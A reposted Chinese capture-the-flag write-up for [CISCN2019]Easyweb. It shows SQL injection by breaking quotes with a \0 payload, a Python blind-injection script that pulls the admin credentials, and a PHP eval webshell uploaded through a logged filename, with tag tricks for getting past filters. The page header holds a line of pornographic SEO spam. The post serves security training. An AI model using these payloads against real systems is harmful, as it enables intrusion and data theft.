日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CTF训练计划—[CISCN2019]Easyweb

發布時間:2024/9/30 编程问答 24 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CTF训练计划—[CISCN2019]Easyweb 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:

這道題學到不少知識,還卡了很長時間,單獨記錄一下

[CISCN2019]Easyweb

首先拿到一個登陸框,從這里就要思考是要怎么去做,我在做的時候想到三個方面去嘗試

  • burp抓包看有什么線索沒
  • SQL萬能密碼注入
  • 頁面掃描,看看有什么源碼泄露或者robots.txt

    前兩個都行不通,剛開始頁面掃描的時候也沒有掃到什么,然后就徹底懵了,后來發現是工具犯病了,再掃一次就出來了

    一個robots.txt文件,訪問可以發現提示的是備份文件,但沒說具體的文件名

    就利用排除法,一個一個的去試試,目前知道有index.php,user.php(登陸抓包即可發現),然后是image.php(查看頁面源碼即可發現),在嘗試的過程中,發現image.php是可以下載備份文件的

    看代碼是可以進行SQL注入的,但需要通過addslashes、str_replace兩個函數的處理。這里先補充一些知識
  • addslashes函數會把注入的單引號轉換成\',把雙引號轉換成\",反斜杠會轉換成\\ addslashes的問題:addslashes會把%00轉換成\0addslashes會把單引號(')轉換成\'

    再回過頭看代碼,str_replace函數會查找我們輸入的內容,如果找到"\\0","%00","\\'","'"其中一個都會過濾為空,而且最為重要的是單引號被過濾了,既然無法引入單引號,只能在\做手腳來破壞SQL語句中的單引號,從而造成SQL注入,接下來就自己先在本地進行測試一下

    將代碼修改成這樣,便于我們直接看兩個函數處理過后的結果。
    (PS:這里要說明的一點是做題并不都是那種死套模板的,這題設置的很巧妙,不是那種什么base、hex就繞過了,而是需要自己去思考、測試如何去繞過。)

    其實這里我在沒有手動測試的時候有一個疑問,就是比如我輸入的payload是\0,經過addslashes函數處理變為了\\0,然后再經過str_replace函數的處理,與其中的\\0匹配,所以最后的id應該是空的,但是測試了發現結果大不相同,然后才明白這個數組中多一個\其實也是進行特殊字符的轉義

    那這個payload就可以用,因為SQL語句中的單引號已經被破壞

    select * from images where id='\' or path=' or 1=1#'

    前面閉合了,便可以執行后面的命令,除此之外的也可以使用

    id=\0'


    結果也是一樣的,繼續看代碼,一開始以為是要去讀取文件源碼獲取下一步線索,結果讀不出來
    進行SQL注入發現了這個地方存在盲注,如果輸入的path參數條件為真即顯示貓,為假則報錯

    條件為真 ?id=\0&&path= or ascii(substr(database(),1,1))>1 %23

    條件為真 ?id=\0&&path= or ascii(substr(database(),1,1))<1 %23


    既然payload已經測出來了,下面就來寫腳本,目前我只能寫出循環遍歷的腳本還是太菜了

    import requests import string import time if __name__ == '__main__':dic = ['{', '}', '_', ',', 'a', 'b', 'c', 'd', 'e', 'f', 'j', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q','r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L','M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6','7', '8', '9']temp = ''for i in range(60):for char in dic:url = "http://ba6d4f92-b3b8-4cdf-916e-f7cccc508f00.node3.buuoj.cn/image.php?id=\\0&&path= or "#數據庫# payload = 'ascii(substr(database(),%d,1))=%d %%23' %(i,ord(char))#ciscnfinal#數據表# payload = 'ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))=%d %%23' %(i,ord(char))#images,users#字段# payload = 'ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),%d,1))=%d %%23'%(i,ord(char))#username,passwor#用戶名 密碼# payload = 'ascii(substr(( select username from users limit 0,1),%d,1))=%d %%23'%(i,ord(char))# payload = 'ascii(substr(( select password from users limit 0,1),%d,1))=%d %%23' % (i, ord(char))#admin#8d60e014233acf360116res = requests.get(url=url+payload)time.sleep(0.005)# print(res.content)if b'JFIF' in res.content:temp = temp+charprint(temp)break

    payload中的%%其實就用于SQL語句時相當于一個%,用%%代替%加上是為了避免報錯

    還有一點就是腳本中id的payload多了一個\,這是因為**URL傳遞\0的時候在字符串中多加個**。
    并且由于單引號不能繞過,所以用到表名等可以借助十六進制串來表示。
    (如果報錯了,覺得腳本沒有問題,就換下格式化符號,之前用的format,怎么都跑不出來,用了%,就直接出來了)

    得到賬號和密碼,登陸進去,發現是文件上傳

    隨便上傳一句話,都會發現這樣一句話

    跟著路徑查看一下發現

    根據提示信息,上傳的文件名被傳到這個php日志文件中去,那就可以把上傳的文件名改成一句話木馬進行上傳

    <?php @eval($_POST['test']);?>


    但是上傳不上去,含有php,所以要找其他方法去替代。

    1.當僅禁用<?php時,可以使用<? ?> 要求:需要開啟短標簽開關,short_open_tag2.當禁用<?php以及?>時,還可以使用<?= 要求:PHP版本>PHP 5.4.03.禁用了<?、 <?php、 ?>時,可以使用asp標簽<% %> 要求:asp_tags設成On4.<script language=”php”>system($_GET[jinqi]); 等價于<?php system($_GET[jinqi]);?>

    嘗試了第二個方法,發現可行

    蟻劍連接即可

    參考博客

    https://www.freebuf.com/column/212586.html

    總結

    多思考,多動手,多測試

    總結

    以上是生活随笔為你收集整理的CTF训练计划—[CISCN2019]Easyweb的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。